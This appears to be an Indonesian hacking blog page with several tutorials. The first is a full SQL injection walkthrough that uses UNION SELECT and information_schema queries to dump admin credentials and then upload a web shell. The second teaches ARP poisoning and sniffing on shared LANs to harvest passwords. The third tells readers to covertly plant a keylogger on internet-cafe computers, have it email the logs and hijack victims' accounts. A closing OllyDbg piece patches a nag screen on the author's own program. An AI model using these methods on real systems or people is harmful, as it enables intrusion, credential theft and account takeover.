inject sql (hack web)

Cara ini merupakan cara untuk menyusup ke database admin website. Apabila website tersebut mempunyai celah, maka mudahlah untuk menyusup ke database website itu dan kita bisa mendapatkan acount & passwordnya.

Banyak sekali berbagai cara melakukan SQL injection dan Backdoor salah satunya dengan cara ini, perhatikan cara dibawah ini:


Pertama kita tetapkan target terlebih dahulu
Contoh: [site]/news_Event/newsDetail.php?ID=2

Tambahkan karakter ' pada akhir url atau menambahkan karakter "-" untuk melihat apakah ada vuln.
contoh:
[site]/news_Event/newsDetail.php?ID=-2 atau [site]/news_Event/newsDetail.php?ID=2'

Apabila muncul pesan error berarti kita dapat menginject website tersebut, tetapi apabila tidak terdapat pesan error carilah website lainnya yang masih memilki celah.

Kemudian
Mencari dan menghitung jumlah table yang ada dalam databasenya
Gunakan perintah : +order+by+

Contoh:
[site]//news_Event/newsDetail.php?ID=-2+order+by+1--

Sekarang cek secara satu per satu
Contoh:
[site]/news_Event/newsDetail.php?ID=-2+order+by+1--
[site]/news_Event/newsDetail.php?ID=-2+order+by+2--
[site]/news_Event/newsDetail.php?ID=-2+order+by+3--
[site]/news_Event/newsDetail.php?ID=-2+order+by+4--

Sehingga muncul error atau hilang pesan error
Misal:
[site]/news_Event/newsDetail.php?ID=-2+order+by+5--

Berarti yang kita ambil adalah sampai angka 4 menjadi
[site]/news_Event/newsDetail.php?ID=-2+order+by+4--

Misalkan pada angka 5 muncul error.

Selanjutnya
Untuk mengeluarkan angka berapa yang muncul gunakan perintah union karena tadi error sampai angka 5
Maka:
[site]/news_Event/newsDetail.php?ID=-2+union+select+4--

Ok , yg keluar angka 2
Gunakan perintah version() untuk mengecek versi sql yg dipakai masukan perintah tsb pada angka yg keluar tadi
Contoh:
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,version(),3,4--

Lihat versi yg digunakan, jika versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah from+information_schema untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah from+information_schema


Dan selanjutnya
Untuk menampilkan semua isi dari table tsb adalah
perintah group_concat(table_name) -> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.tables+where+table_schema=database()-- -> dimasukan setelah angka terakhir

Contoh:
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(table_name),3,4+
from+information_schema.tables+where+table_schema=database()--

seumpama yg kita cari adalah "admin"

And than
Perintah group_concat(column_name) -> dimasukan pada angka yg keluar tadi
perintah +from+information_schema.columns+where+table_name=0xhexa-- -> dimasukan setelah angka terakhir

[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(column_name),3,4+
from+information_schema.columns+where+table_name=0xhexa--

pada tahap ini kalian wajib menconvert kata pada isi table menjadi hexadecimal.

Contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646d696e

[site]news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(co
lumn_name),3,4+from+information_schema.columns+where+table_name
=0x61646d696e--


Kemudian
Memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara

perintah group_concat(0x3a,hasil isi column yg mau dikeluarkan) -> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) -> dimasukan setelah angka terakhir

[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(0x3a,hasil isi column),3,4+from+(nama table berasal)--

contoh kata yang keluar adalah adminID,Name,password

maka
[site]/news_Event/newsDetail.php?ID=-2+union+select+1,group_concat(adminID,0x3a,Na
me,0x3a,password),3,4+from+admin--

Nah dah nemu ID dan password-nya sekarang

ket: 0x3a sama dengan : <- titik dua


Terakhir :
Mencari halaman login Admin
Login sebagai admin
Cari fitur2 upload file atau gambar, lalu upload shell kalian

Read More

Hacking LAN + Sniffing

Bagaimana hasilnya jika cara ini di gunakan di warned2, or di kantor, or di sekolah, anda bisa panen password and account. Password and account tersebut anda dapatkan dari orang2 yang terhubung ke jaringan internet dan 1 network (LAN)

Cara ini masih dapat digunakan karena sebagian besar jaringan meggunakan jaringan hub & switch yang tidak terenkripsi. Mengapa tidak terenkripsi?

* Network Admin sebagian besar adalah orang IT yang specialist dalam membuat program, bukan dalam Network Security
* Bila dienkripsi bandwidth yang dibutuhkan akan meningkat dan tentu inet yang sudah lemot ini akan semakin lemot dan akhirnya page error
* Harganya tidak murah untuk memperoleh yang terenkripsi

Perbedaan antara jaringan Hub dan Switch:

* Pada jaringan hub semua data yang mengalir di jaringan dapat dilihat/diambil oleh komputer manapun yang ada di jaringan asalakan komputer tersebut merequest data tersebut, kalo tidak direquest ya tidak akan datang.
* Pada jaringan switch hanya komputer yang melakukan pertukaran data yang dapat melihat data tersebut, komputer2 lain tidak berhak merequest data tersebut.

Masalahnya adalah harga dari router hub dan switch tidak berbeda jauh sehingga kebanyakan tempat sekarang sudah menggunakan metode switch yang menyulitkan untuk network hacking.

Hacking ini menggunakan teknik:

* Sniffing
* ARP Poison Routing

Kedua Teknik di atas tidak akan bisa dicegah oleh firewall apapun di komputer korban, dijamin.

Important Note: ARP Poison Routing dapat meyebabkan denial of service (dos) pada salah satu / semua komputer pada network anda

Kelebihan:

* Tidak akan terdeteksi oleh firewall tipe dan seri apapun karena kelemahannya terletak pada sistem jaringan bukan pada komputernya
* Bisa mencuri semua jenis login password yang melalui server HTTP
* Bisa mencuri semua login password orang yang ada di jaringan Hub selama program diaktifkan
* Untuk ARP Poisoning bisa digunakan untuk mencuri password di HTTPS
* Semua programnya free

Kekurangan:

* Untuk jaringan Switch harus di ARP poisoning 1 persatu dan bandwidth anda akan termakan banyak untuk hal itu (kalo inet super cepat ga masalah)
* Ketahuan / tidak oleh admin jaringan di luar tanggung jawab saya

Mulai dari sini anggap bahwa di network dalam kisah ini ada 3 komputer, yaitu:

* Komputer Korban
* Komputer Hacker
* Server

Perbedaan-perbedaan antara jaringan switch dan jaringan hub:
Langkah-langkah pertama:

1. Cek tipe jaringan anda, anda ada di jaringan switch / hub. Jika anda berada di jaringan hub bersyukurlah karena proses hacking anda akan jauh lebih mudah.
2. Download program-program yang dibutuhkan yaitu Wireshark dan Cain&Abel.
Code:

http://www.wireshark.org/download.html
http://www.oxid.it/cain.html



Cara Menggunakan WireShark:

* Jalankan program wireshark
* Tekan tombol Ctrl+k (klik capture lalu option)
* Pastikan isi pada Interfacenya adalah Ethernet Card anda yang menuju ke jaringan, bila bukan ganti dan pastikan pula bahwa “Capture packets in promiscuous mode” on
* Klik tombol start
* Klik tombol stop setelah anda merasa yakin bahwa ada password yang masuk selama anda menekan tombol start
* Anda bisa melihat semua jenis packet yang masuk dan keluar di jaringan (atau pada komputer anda saja jika network anda menggunakan Swtich
* Untuk menganalisis datanya klik kanan pada data yang ingin di analisis lalu klik “Follow TCP Stream” dan selamat menganalisis paketnya (saya tidak akan menjelaskan caranya karena saya tidak bisa )
* Yang jelas dari data itu pasti di dalamnya terdapat informasi2 yang dimasukkan korban ke website dan sebaliknya

Cara di atas hanya berlaku apabila jaringan anda adalah Hub bukan switch
Dari cara di atas anda dapat mengetahui bahwa jaringan anda adalah hub/switch dengan melihat pada kolom IP Source dan IP Destination. Bila pada setiap baris salah satu dari keduanya merupakan ip anda maka dapat dipastikan jaringan anda adalah jaringan switch, bila tidak ya berarti sebaliknya.

Cara Menggunakan Cain&Abel:

* Penggunaan program ini jauh lebih mudah dan simple daripada menggunakan wireshark, tetapi bila anda menginginkan semua packet yang sudah keluar dan masuk disarankan anda menggunakan program wireshark
* Buka program Cain anda
* Klik pada bagian configure
* Pada bagian “Sniffer” pilih ethernet card yang akan anda gunakan
* Pada bagian “HTTP Fields” anda harus menambahkan username fields dan password fields nya apabila yang anda inginkan tidak ada di daftar.
Sebagai contoh saya akan beritahukan bahwa kalo anda mau hack password Friendster anda harus menambahkan di username fields dan passworsd fields kata name, untuk yang lain anda bisa mencarinya dengan menekan klik kanan view source dan anda harus mencari variabel input dari login dan password website tersebut. Yang sudah ada di defaultnya rasanyan sudah cukup lengkap, anda dapat mencuri pass yang ada di klubmentari tanpa menambah apapun.
* Setelah itu apply settingannya dan klik ok
* Di menu utama terdapat 8 tab, dan yang akan dibahas hanya 1 tab yaitu tab “Sniffer” karena itu pilih lah tab tersebut dan jangan pindah2 dari tab tersebut untuk mencegah kebingungan anda sendiri
* Aktifkan Sniffer dengan cara klik tombol sniffer yang ada di atas tab2 tersebut, carilah tombol yang tulisannya “Start/Stop Sniffer”
* Bila anda ada di jaringan hub saat ini anda sudah bisa mengetahui password yang masuk dengan cara klik tab (Kali ini tab yang ada di bawah bukan yang di tengah, yang ditengah sudah tidak usah diklik-klik lagi) “Passwords”
* Anda tinggal memilih password dari koneksi mana yang ingin anda lihat akan sudah terdaftar di sana
* Bila anda ternyata ada di jaringan switch, ini membutuhkan perjuangan lebih, anda harus mengaktifkan APR yang tombolonya ada di sebelah kanan Sniffer (Dan ini tidak dijamin berhasil karena manage dari switch jauh lebih lengkap&secure dari hub)
* Sebelum diaktifkan pada tab sniffer yang bagian bawah pilih APR
* Akan terlihat 2 buah list yang masih kosong, klik list kosong bagian atas kemudian klik tombol “+” (Bentuknya seperti itu) yang ada di jajaran tombol sniffer APR dll
* Akan ada 2 buah field yang berisi semua host yang ada di jaringan anda
* Hubungkan antara alamat ip korban dan alamat ip gateway server (untuk mengetahui alamat gateway server klik start pada komp anda pilih run ketik cmd lalu ketik ipconfig pada command prompt)
* Setelah itu baru aktifkan APR, dan semua data dari komp korban ke server dapat anda lihat dengan cara yang sama.

Anda dapat menjalankan kedua program di atas secara bersamaan (Cain untuk APR dan wireshark untuk packet sniffing) bila ingin hasil yang lebih maksimal.

Password yang bisa anda curi adalah password yang ada di server HTTP (server yang tidak terenkripsi), bila data tersebut ada di server yang terenkripsi maka anda harus mendekripsi data tersebut sebelum memperoleh passwordnya (dan itu akan membutuhkan langkah2 yang jauh lebih panjang dari cara hack ini).

Read More

Hacking facebook keylogger

Keylogger merupakan tools yang pada dasarnya memiliki sebuah fungsi untuk melakukan monitoring semua akitivitas yang dilakukan oleh user pada sebuah PC. Mulai dari merekam password yang diketikan, chatting di instant messaging, program apa saja yang dijalankan oleh user, apa yang dilakukan user pada program tersebut, dan semua yang diketikkan di keyboard hingga pergerakan mouse, bahkan beberapa keylogger yang telah lama beredar mengincludekan fasilitas pengcapture layar monitor setiap 5 menit sekali, dan outputnya adalah HTML. Ada beberapa keylogger yang cukup menarik, diantaranya ada yang dapat mengirim hasil dari monitoring aktivitas tersebut ke email sang penanam keylogger tersebut. Sehingga si penanam keylogger tersebut dapat melihat semua aktivitas yang dilakukan oleh user pada sebuah pc melalui email.
Jelas keylogger ini bersifat kontroversial seperti 2 mata pisau, positif, negatif, membangun dan menghancurkan.
untuk lebih jelas ada beberapa keylogger yang bisa kamu gunain.tapi disini saya cuma kasih salah satunya yaitu ardamax keylogger yang gampang banget digunain.
Berikut daftarnya :

1. 007 Keylogger Spy Software 3.873
2. Active Key Logger 2.4
3. Activity Keylogger 1.80.21
4. Activity Logger 3.7.2132
5. ActMon Computer Monitoring 5.20
6. Actual Spy 2.8
7. Advanced Invisible Keylogger v1.9
8. Advanced Keylogger 1.8
9. Ardamax Keylogger 2.9
10. BlazingTools Perfect Keylogger 1.68
11. Blazingtools Remote Logger v2.3
12. Data Doctor KeyLogger Advance v3.0.1.5
13. Local Keylogger Pro 3.1
14. ExploreAnywhere Keylogger Pro 1.7.8
15. Family Cyber Alert 4.06
16. Family Keylogger 2.80
17. Firewall bypass Keylogger 1.5
18. Free Keylogger 2.53
19. Ghost Keylogger 3.80
20. Golden Eye 4.5
21. Golden KeyLogger 1.32
22. Handy Keylogger 3.24 build 032
23. Home Keylogger 1.77
24. Inside Keylogger 4.1
25. iOpus Starr PC and Internet Monitor 3.23
26. iSpyNow v2.0
27. KeyScrambler 1.3.2
28. Keystroke Spy 1.10
29. KGB Keylogger 4.2
30. KGB Spy 3.84
31. LastBit Absolute Key Logger 2.5.283
32. Metakodix Stealth Keylogger 1.1.0
33. Network Event Viewer v6.0.0.42
34. OverSpy v2.5
35. PC Activity Monitor Professional 7.6.3
36. PC Spy Keylogger 2.3 build 0313
37. PC Weasel 2.5
38. Personal PC Spy v1.9.5
39. Power Spy 6.10
40. Powered Keylogger v2.2.1.1920
41. Quick Keylogger 2.1
42. Radar 1.0
43. Real Spy Monitor 2.80
44. Real Spy Monitor 2.80
45. Remote Desktop Spy 4.04
46. Remote KeyLogger 1.0.1
47. Revealer Keylogger Free 1.33
48. SC Keylogger Pro 3.2
49. Smart Keystroke Recorder Pro
50. Spector Pro 6.0.1201
51. SpyAnytime PC Spy 2.42
52. SpyBuddy 3.7.5
53. Spytech SpyAgent 6.02.07
54. Spytector 1.3.5
55 Stealth Key Logger 4.5
56. System keylogger 2.0.0
57. Tim’s Keylogger 1.0
58. Tiny Keylogger 2.0
59. Total Spy 2.7
60. Windows Keylogger 5.04
61. Win-Spy Pro 8.9.109
62. XP Advanced Keylogger 2.5
63. XPCSpy Pro version 3.01

keyloger ini bisa kita download di google atau di 4shared.com

key logger ini pertama-tama harus diinstalkan terlebih dahulu di komputer korban....
biasanya orang-orang nyebarin di tiap-tiap warnet atau pada komputer korban.
dalam keylogger kita di tuntut kesabaran sebab tidak semua orang punya yang kita cari contohnya chip poker atau akun paypal.
untuk cara penggunaan bisa mengikuti cara di sini :
1.pertama instal itu program.setelah install berhasil masukan serial numbernya,caranya klik kanan di ICON seperti note yang letaknya di ujung bawah taskbar kalo udah,kAmu tinggal atur opsi2 yang tersedia..
udah gitu kamu atur password buat menyembunyikan progam itu dan atur opsi DELIVERY atur controlnya centang kotak SENDS LOG EVERY dan atur menitnya dan isi alamat emailnya...kamu bisa isi kedua kotak isian emailnya dengan alamat email kamu.untuk kotak SMTP HOST dan USERNAME kamu ga perlu isi.dan OPSI FTP sama NETWORK ga perlu diisi juga..kamu tinggal klik OK
setelah password dan OPsi kamu atur, kamu tinngal mengHIDE progam itu dengan cara CTRL+ALT+SHIFT+H atau di opsi lo bisa atur key nya.
2.nah udah gitu kamu tinggal biarin itu komputer dipake sang korban.

3.nah selanjutnya kamu tinngal pulang kerumah.biarin tu komputer dipake pengguna lain.
4.keesokannya kamu tinngal datang lagi ke warnet itu atau warnet mana saja.
5.setelah sampe..kamu tinngal masuk atau login ke email kamu.
6.JREEEEENGGGGG.....kamu akan dapat email masuk yang isinya keystroke dan akan terlihat salinan hasil logger atatu hasil ketikan keyboard orang lain yang terekam oleh progam keylogger ini
kamu disana juga bisa lihat web apa yang mereka buka....
7.nah biasanya tiap pennguna internet 100% pasti akan selalu login ke sbuah situs yang perlu account yahoo atu gmail ataupun yang lainnya.
untuk mengetahui account itu kamu bisa cari di keystroke kata-kata seperti ini... JUMBODUA@YAHOO.COM896743754 "JUMBODUA@YAHOO.COM" nah inilah account sang user
sedangkan 896743754 adalah passwordnya...untuk mengetahui user login dimana saja kamu bisa liat keystroke yang diketik sebelum keystroke ini JUMBODUA@YAHOO.COM896743754
atau kamu bisa liat di rekaman web..
8.setelah lo dapetin tu accountnya...kamu bisa login ke situs yang dia kunjungi misalkan FACEBOOK.ataupun yahoo dll...terserah kamu mau apain tu Facebook
9.nah biasanya rata-rata orang dapetin 50 Account dari 3 komp perhari..dan dari sana kita bisa cari informasi lewat login ke yahoomail milik dia and apakah sang user mempunyai rekam jejak ke suatu situs pembelian ataupun krtu kredit.
dan hasilnya gue dapet beberapa Account yang cukup menarik.
SELAMAT MENIKMATI CARA INI MOGa BERUNTUNG
untuk keselamatan,,,,berhati-hatilah dan waspada dalam berinternet ria..untuk mencegah ketikan lo diketahui orang,lo bisa pake cara ini:
klik Run di START and ketik OSK maka akan muncul keyboard screen...gunakan itu buat lo login ke situs apapun yang minta account password lo biar aman



MOHON FOLLOW YA

Read More

Cracking software Messagebox

Written by: MRHPx aka Rizal
Written on: 1st June 2o11, Purwosari-Pasuruan, Indonesia

HackINTRO
This article is for all levels of readers, there is no difference, Leet, Newbie, across all borders, NO-SARA, We're the one for equality .. Punk rock, oi-oi! : D Previously I would like to convey greetings of respect and friendship to all his fellow hacker who never knew I was in Indonesia, especially fellow veterans h4xx0r amazing .. : D

Have met with trial software or use an alias shareware shareware? Shareware is a trial program (not free) which has limited and requires the user to buy or pay for the software before it can be used in full or no restrictions. This article will try to discuss the most basic of protection schemes paid software (shareware). One scheme is quite popular shareware or Nag dialog box that displays messages about the status of software, whether it has been purchased (Registered) or still trial (Unregistered). Actually this article is a modification of one of the seminar material in mid-2009 I for the education department of Computer Science, at which time I was asked to demonstrate a simple demo of cracking which is often found on shareware scheme.

This article is NOT intended to teach you how to steal or hijack the paid software, but more priority to the understanding of the vulnerability of a system. None of the targets that are used as guinea pigs in this article who is a shareware other party. Target provided is software I personally made, so no other party the aggrieved here unless I am (The period of rest at home after work because writing this article is trimmed and trimmed down because I am a private money used to pay for internet broadband connection to download the compiler Assembler and post articles. .)

To all "Prankster" aka "Not Action Talk Only" which is always negative in assessing the activities of hackers, you should read first before judging .. why are you even that noisy? Though in use of time, effort and money I am personally, not yours! Unable to sign envious ..



Tool On Demand:

1. Ollydbg, you can get in www.ollydbg.de.
2. File target "Target.exe" has been included with this article or visit the website at www.mrhpx.co.nr I (I make it in person to avoid copyright infringement and DMCA law that suck!)
3. Knowledge of the Assembly (Do not know at all is also no problem: D)
4. Red Palmall .. (For motivation and inspiration .. And also help increase government tax revenues of the Republic of Indonesia: D)
5. Rice - Places Terakhir.mp3 .. (The song is good, to update the database of music and soul, remember do not buy bootleg!: D)



Target Description
Character targets as mentioned above is showing Nagscreen or MessageBox at the beginning of the software is run. To eliminate the appearance of Nagscreen MessageBox, the user must make a purchase.
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Screenshot NagScreen
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


Work to be done here is a MessageBox or disable the message dialog box. So the software will not show the MessageBox again early in the software is run for good.

Nothing is more fun in the field of computer security in addition to analyzing the Reverse Engineering Binary file. My colleagues are curious to deface Web site issues, Rootkits, Software Cracking, Penetration Systems, DDoS, Buffer Overflow and the like shall study the Reverse Engineering. From this area that all security issues arise, both about Exploit, Vulnerable or Bugs System and others. Before reading further I highly recommend to you to read the article I entitled "Executable Injection Tutorial - Part 1: MessageBox" and "Executable Injection Tutorial-Part 2-Splash Screen" The second article can assist you in understanding the basis of Reverse Engineering if you difficulty when reading this article.



The Beginning
Run Ollydbg then load "Target.exe" .. The display will look like in the screenshot below. Especially for those who are included in levels rather than a newbie, here you would be able to read the Entry Point (EP) and determine the steps to break the protection.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


Screenshot Target Load
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

NOTE: Address listed on your computer may vary from that contained in this article. Always follow the address on your computer.

On the main screen, right click-> Search for-> All referenced text strings. After that you will be in a new window that displays a variety of string, try to find and point your mouse on a string that reads "shareware software COOL # 1 in the World and the Subconscious", then double click or press enter.

You will come back to the main window, you just point the mouse one line up precisely address 1314156F in instruction "6A 24" or "PUSH 24". You will see a red arrow "Conditional Jump" or "Leap With Paying attention to the" originating from address 13141533 "EB 3A".

MessageBox (Win32 Programmer's Reference)
MessageBox function creates, displays and operates a message dialog. The dialogue message includes a picture-messaging application and title, plus various combinations of button press and the icons that are known.

Info
Windows NT: Yes
Win95: Yes
Win32s: Yes
Import Library: user32.lib
File Header: winuser.h
Unicode: WinNT, Win95
Platform Notes: None

Syntax
int MessageBox (
HWND hWnd, / / ​​handle of owner window
LpText LPCTSTR, / / ​​address of text in message box
LpCaption LPCTSTR, / / ​​address of title of message box
Uint uType / / style of message box
);

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$


Screenshot Assembly Code
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$



Logical, Analyze, ATTACK .. CRACKadabra! ™
When the software is run will go directly to the address 13141533 "EB 3A". Which serves to carry the instruction at address 1314156F "PUSH 24" which contains Nagscreen or MessageBox. At address 13141586 "CMP EAX, 7" software to conduct examination, namely:

1. If the user presses the "No" address 13141589 "JE SHORT TARGET.1314158D" then the code will be landed at address 1314158D "PUSH 0" which will cause the software exit.
2. Meanwhile, if the user presses the "Yes" address 1314158B "JMP SHORT TARGET.13141594" then the code will be landed at address 13141594 "PUSH 0" which will cause the software runs normally.

From the above analysis data, one finds several methods that can be used to disable Nagscreen or MessageBox. I'm not the type of hacker who stingy or stupid and matre Hacker types who like to sell fast Hacker techniques stale, like most expensive book Hackers often you find in online and offline bookstores around you. I do not want to just give one method alone, I prefer to give you some methods in solving problems. People who have only one method of strategy in the face of the opponent is a pretty silly. Several methods can be used, namely:

1. Method 1 - JUMP

Change the leap, it is the most effective and efficient manner. Ie change the direction of the jump instruction, this technique requires only 1 byte value changes only!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Screenshot Method 1 - JUMP
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

To apply this technique is fairly easy, at address 13141533 "JMP SHORT TARGET.1314156F", change the value of "EB 3A" to "EB 5F". This will make the software ignore or MessageBox Nagscreen code and go directly to the address 13141594 "PUSH 0" to run the program normally .. WITHOUT NAGSCREEN!
2. Method 2 - NOP

Negate the process of instruction, this method is effective but less efficient way to remember a lot of Code Cave formation. That is by eliminating some instruction in a way that does not change as the instruction is executed.

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Screenshot Method 2 - NOP
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

To apply this technique, simply block the cursor from the address 1314156F "PUSH 24" up to 13,141,581 "CALL " (see Screenshot Assembly Reference Code). Then right click-> Binary-> Fill with NOPs. This will make the software no longer has Nagscreen or MessageBox, though instructions are still there but the examination did not affect the performance of the software. That way the software will go to address 13141594 "PUSH 0" to run the program normally .. WITHOUT NAGSCREEN!

Final Notes
The task has been successfully done properly, the software "Target.exe" no longer displays Nagscreen or MessageBox. Easy is not it? Not until 1 minute, Nagscreen successfully overpowered. Software "Target.exe" is just one obvious example of bugs due to negligence Programmer shareware (Maybe programmers went to college majoring in management science and animal health as I am, so a little forgotten about the programming the right way: D). Why is that? Because of the above techniques use "Text String" as a reference.

If only the software using technologies such as obfuscation or hiding a string of course will not be as easy as it successfully disabled. Believe it or not, nearly 70% of shareware software worldwide use and display the MessageBox Nagscreen or Text String! Mainly domestic production shareware software! I'm sure you can imagine how complicated life as a programmer with the risk of their software pirated. Advice for you, never use pirated software. If you do not have money, menabunglah, buy an official license if you already have the money or use Open Source. Programmers also need to eat, they sell the software to be earning. Hacker was born to help others, not harming others. Hopefully this article useful to you and I can help you secure yourself from cyber crime. I am a hacker .. I am a Cracker .. But I am still a Farmer! :)

CONTACT ADDRESS
Website: www.mrhpx.co.nr
Mirror: www.mrhpx.astalavista.ms
Email: mrhpx [@] yahoo.com / nemesisbyte [@] yahoo.com / mrhpx [@] binushacker.org
Facebook: www.facebook.com / mrhpx (Send Message Add a new first, to avoid spammers!)

Greetz:
My Family .. My Love .. My Cats .. My God and Prophet .. AstaLaVista .. 0day .. All WHO friends help me a lot in IRIS Until this day, Lucifer, BlackStorm, Beat Jaya, BinusHacker, IRC, UCF, dT, AGAIN, water, LZ0, FOSi, assign, DVT, 29A, TSRh, tPORT, FFF .. All Indonesia veterans haxx0r .. Underground communities .. Fellow in college at Univ. Islam Malang, Univ. UB Malang, Univ. Malang .. Colleagues at the PT. Malindo Feedmill, PT. Patriot Panca Prima, PT. Joyo Wonokoyo herein, PT. Samsung Cheil Jedang Group, PT. Charoen Pokphand Indonesia and My Family Bussines Company (Mutter.. Vermogen Ich, Ich versuchen, Ich niemals Mude.)

Read More